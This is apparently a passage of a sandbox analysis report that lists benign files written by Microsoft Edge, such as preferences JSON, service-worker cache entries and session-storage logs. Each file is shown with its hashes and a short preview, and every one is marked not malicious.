Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ae42.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3fbe5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF47135.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF569fc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577580504446019
Encrypted:	false
SSDEEP:	768:1RwRA6WP9Bf2R8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCNJ7aQ3rwa7pWtum:1RwRA6WP9Bf2Ru1jabNJWQkJtJ
MD5:	0B864E551D68D7B9F75C4D401D6BEBF7
SHA1:	393E3043482C06DA686C989C4456CED694AC3E31
SHA-256:	F778FEB7E044222FF32E2040CFD45AA4EF3A0214DD33EEC3A905A4A62A88233E
SHA-512:	766E7C90D17506DBAB36B836497AE94C7F370D66F3D581A4B104B0FCA5AA79166CFF3E769AC52D32B3D2A31DC50D971B9E2422F4B3DC88B0373FA49EF82671B2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375854979874031","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375854979874031","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ae52.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577580504446019
Encrypted:	false
SSDEEP:	768:1RwRA6WP9Bf2R8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCNJ7aQ3rwa7pWtum:1RwRA6WP9Bf2Ru1jabNJWQkJtJ
MD5:	0B864E551D68D7B9F75C4D401D6BEBF7
SHA1:	393E3043482C06DA686C989C4456CED694AC3E31
SHA-256:	F778FEB7E044222FF32E2040CFD45AA4EF3A0214DD33EEC3A905A4A62A88233E
SHA-512:	766E7C90D17506DBAB36B836497AE94C7F370D66F3D581A4B104B0FCA5AA79166CFF3E769AC52D32B3D2A31DC50D971B9E2422F4B3DC88B0373FA49EF82671B2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375854979874031","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375854979874031","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.822340061467214
Encrypted:	false
SSDEEP:	24:F2xc5Nmvcncmo0CRORpllg2DLSfRHYVdCRORpllg2Zt/GtKCRORpllg2DLtRHYy4:F2emQtrdDGfBmXrdZBlrdDpBzrdWBD
MD5:	8DF798B4368C030222EB8C40617BAC0D
SHA1:	2FA53816A72DD85CE6A8937C9992D27698391213
SHA-256:	A3DCAEEEF95594EC1EC3C115F5DE1AB3A832D32E43BB708780735CD4D70E19F1
SHA-512:	46767A1D63264D7E707438808D81845ADBFE6D8B7FCE1B4F5CED47706B12536C4F7D6F65BA6B11C1AC41F540A06BB5ED5680E0811C5CE7BB79C9600095B894CD
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..lQm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.138747552893023
Encrypted:	false
SSDEEP:	6:HUxFpFPFF4M1923oH+TcwtE/a252KLlVUxFp4Iq2P923oH+TcwtE/a2ZIFUv:g9F4hYeb8xLOv4Yeb8J2FUv
MD5:	4181AD94F280F5902B0EB013ADED3150
SHA1:	27C617831AF18839371333BD23EE02B310897FD0
SHA-256:	FD42959DE8FBE52F16136F44BD521EB99FE4D74EEE4D221365BA363784AB864E
SHA-512:	BE9C4C264FEC438F0709F5B9FE26EC89F729CB18FFDB713CE75413DF51FA971D71424FE2304E7B5E70174EE2ECE9A0B1BADC90FFDCFC4078D6BB1BA1578FB280
Malicious:	false
Preview:	2024/11/11-22:16:30.819 1ed4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/11-22:16:30.834 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113653
Entropy (8bit):	5.579968134169881
Encrypted:	false
SSDEEP:	1536:sa906yxPXfOrr1lhCe1+46rCjF3NlH2BoOz/0iL/rDL/rb9:f9LyxPXfOrr1lMe1z6rWXU8iL/HL/1
MD5:	F8BDA8FC3CE5CF6EF5998B96D4AE92C1
SHA1:	184381031F2A407CB0B9910410416F8FFFB1E825
SHA-256:	BE7E0950116A599A342E6E93185C569D254372425DCD9DE4D1ACF26DEEF81AFB
SHA-512:	440ED3E027530FCD3DE0E83A9E6EA85C1B9DE3E5B183DBCE120F76E2FD5E6C84909A10D913E9590A856B6217000946F5F4304F7CCBE9336515DD5E80A1F90B55
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187825
Entropy (8bit):	6.381887556889834
Encrypted:	false
SSDEEP:	3072:uJR7Kw9DuJw/P7REm3qP2GF52yJrmxvML/LHLOLoC4vm:tJw+mYfGyxmCL/P24vm
MD5:	1B81ABC9C1CA158708EAA8D9138F0C2A
SHA1:	A916FF0A541992A596CD956C8ADA18E9588AE07A
SHA-256:	614D61A23CD9E4F8884E669CD365321B756A7FF9692A1D3D11A5E574C592818C
SHA-512:	B82324D1EC98BAF783F3E4E45EBD226B4536AF0B9A98135E7DE1871A5E81A48720CEF8101C7FEA6B190A54BAE26365E8C658C6E30ED5BCE84ADE5E55E475C148
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.X........,T.8..`,.....L`.....,T...`......L`......RcB......exports...Rc..-g....module....Rc........define....Rbb.p.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.n.P.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....S...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:U4eyyXl/lrV/lxE0tllziT2Kln:UtyK6087n
MD5:	86F033AEAFE9C4686B6037ADD736D2E0
SHA1:	481454FC34143E91F885C2E04CAA1B1A0C3B1E4E
SHA-256:	22C13CD7E450DFC1170F7ECB01E9B9DF09002B59AC1DFC444A71A7A641A3575D
SHA-512:	F2AA056785AF45C3D3265673696552EFD6EBABA7EC3A5642C1B02E1AD0B0FC0037D7C419B155FE39322B155187BFCB280A0BC388B5D1A01CBB787D04FF19CCF3
Malicious:	false
Preview:	@.....l.oy retne.........................X....,..................b.D./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:U4eyyXl/lrV/lxE0tllziT2Kln:UtyK6087n
MD5:	86F033AEAFE9C4686B6037ADD736D2E0
SHA1:	481454FC34143E91F885C2E04CAA1B1A0C3B1E4E
SHA-256:	22C13CD7E450DFC1170F7ECB01E9B9DF09002B59AC1DFC444A71A7A641A3575D
SHA-512:	F2AA056785AF45C3D3265673696552EFD6EBABA7EC3A5642C1B02E1AD0B0FC0037D7C419B155FE39322B155187BFCB280A0BC388B5D1A01CBB787D04FF19CCF3
Malicious:	false
Preview:	@.....l.oy retne.........................X....,..................b.D./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3de4b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:U4eyyXl/lrV/lxE0tllziT2Kln:UtyK6087n
MD5:	86F033AEAFE9C4686B6037ADD736D2E0
SHA1:	481454FC34143E91F885C2E04CAA1B1A0C3B1E4E
SHA-256:	22C13CD7E450DFC1170F7ECB01E9B9DF09002B59AC1DFC444A71A7A641A3575D
SHA-512:	F2AA056785AF45C3D3265673696552EFD6EBABA7EC3A5642C1B02E1AD0B0FC0037D7C419B155FE39322B155187BFCB280A0BC388B5D1A01CBB787D04FF19CCF3
Malicious:	false
Preview:	@.....l.oy retne.........................X....,..................b.D./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5147
Entropy (8bit):	3.4445315272129666
Encrypted:	false
SSDEEP:	96:17KaWYP3ZhBwdu6QKfp4ZJJ9Xp+Pl+jUGDBf5SLl9iSrY116DyZ7p:1UDuxKy9Xp+dEUG15SLl9iSrYC4F
MD5:	61469D43AED65C2530EFDAE638C37DB6
SHA1:	8F4A9E91062C905967C294C5E1AC6BD35EF299E9
SHA-256:	F8EB2660BE6FFA59268550229017534B689192FD591C67BB526FDF1893A7E81A
SHA-512:	B9BA96708423E14E7149DC27B781CDF1A44FF72AE0579EB8405A90D8BABBC3E5E265F50A9395B200F14FCD21463A267F20F286DA168848C92B678F987D113344
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............6H.@b................next-map-id.1.Cnamespace-bf48fc59_1c49_414a_b418_4898d4ddb5eb-https://ntp.msn.com/.0...>.................map-0-shd_sweeper.%{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.a.d.s.-.c.b.v.4.2.-.9.5.0.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.a.d.s.-.f.l.r.m.g.p.-.b.a.s.e.-.c.,.p.r.g.-.1.s.w.-.s.a.q.-.r.e.s.i.m.a.g.e.t.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.j.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.c.,.p.r.g.-.1.s.w.-.l.d.n.y.c.t.-.t.r.a.n.s.i.t.,.1.s.-.n.t.f.1.-.r.d.i.d.3.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.3.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.c.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.1.,.2.4.0.9.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.073401484522621
Encrypted:	false
SSDEEP:	6:HUxvq2P923oH+TcwtrQMxIFUt8YUxAjZZmw+YUxsGkwO923oH+TcwtrQMFLJ:wv4YebCFUt809/+t5LYebtJ
MD5:	A3361DFEB06C7814114A1DA5CEE345F8
SHA1:	A0E978E680A27CFDD820B2EB73CFAED0736FF1AB
SHA-256:	C2CD8261AF86B0CFB3BAE70B20AC8D650E9E3B68524A09C63C484E92F7CA8478
SHA-512:	F04CE531E7C5838FFB12BF7F9BFCFD55F96E8F1ED42748B3087E3E0268D7FB0E7C8F47B3B8B3F8C35D5E36A530E6BD828A89139E84C53051D426C3BA3C66703E
Malicious:	false
Preview:	2024/11/11-22:16:21.003 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-22:16:21.005 1c84 Recovering log #3.2024/11/11-22:16:21.008 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.073401484522621
Encrypted:	false
SSDEEP:	6:HUxvq2P923oH+TcwtrQMxIFUt8YUxAjZZmw+YUxsGkwO923oH+TcwtrQMFLJ:wv4YebCFUt809/+t5LYebtJ
MD5:	A3361DFEB06C7814114A1DA5CEE345F8
SHA1:	A0E978E680A27CFDD820B2EB73CFAED0736FF1AB
SHA-256:	C2CD8261AF86B0CFB3BAE70B20AC8D650E9E3B68524A09C63C484E92F7CA8478
SHA-512:	F04CE531E7C5838FFB12BF7F9BFCFD55F96E8F1ED42748B3087E3E0268D7FB0E7C8F47B3B8B3F8C35D5E36A530E6BD828A89139E84C53051D426C3BA3C66703E
Malicious:	false
Preview:	2024/11/11-22:16:21.003 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/11-22:16:21.005 1c84 Recovering log #3.2024/11/11-22:16:21.008 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13375854982365863

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8185763722866355
Encrypted:	false
SSDEEP:	24:3OFl+zNLKxFlYyekrvpsAF4unxGtLp3X2amEtG1ChqmMu0OIfGpUDb74bQKkOAMQ:3OFl+z4Y4rvzF4Lp2FEkChmOqD340HOp
MD5:	BBE41CF3B768EDCD02FE3B907668FA11
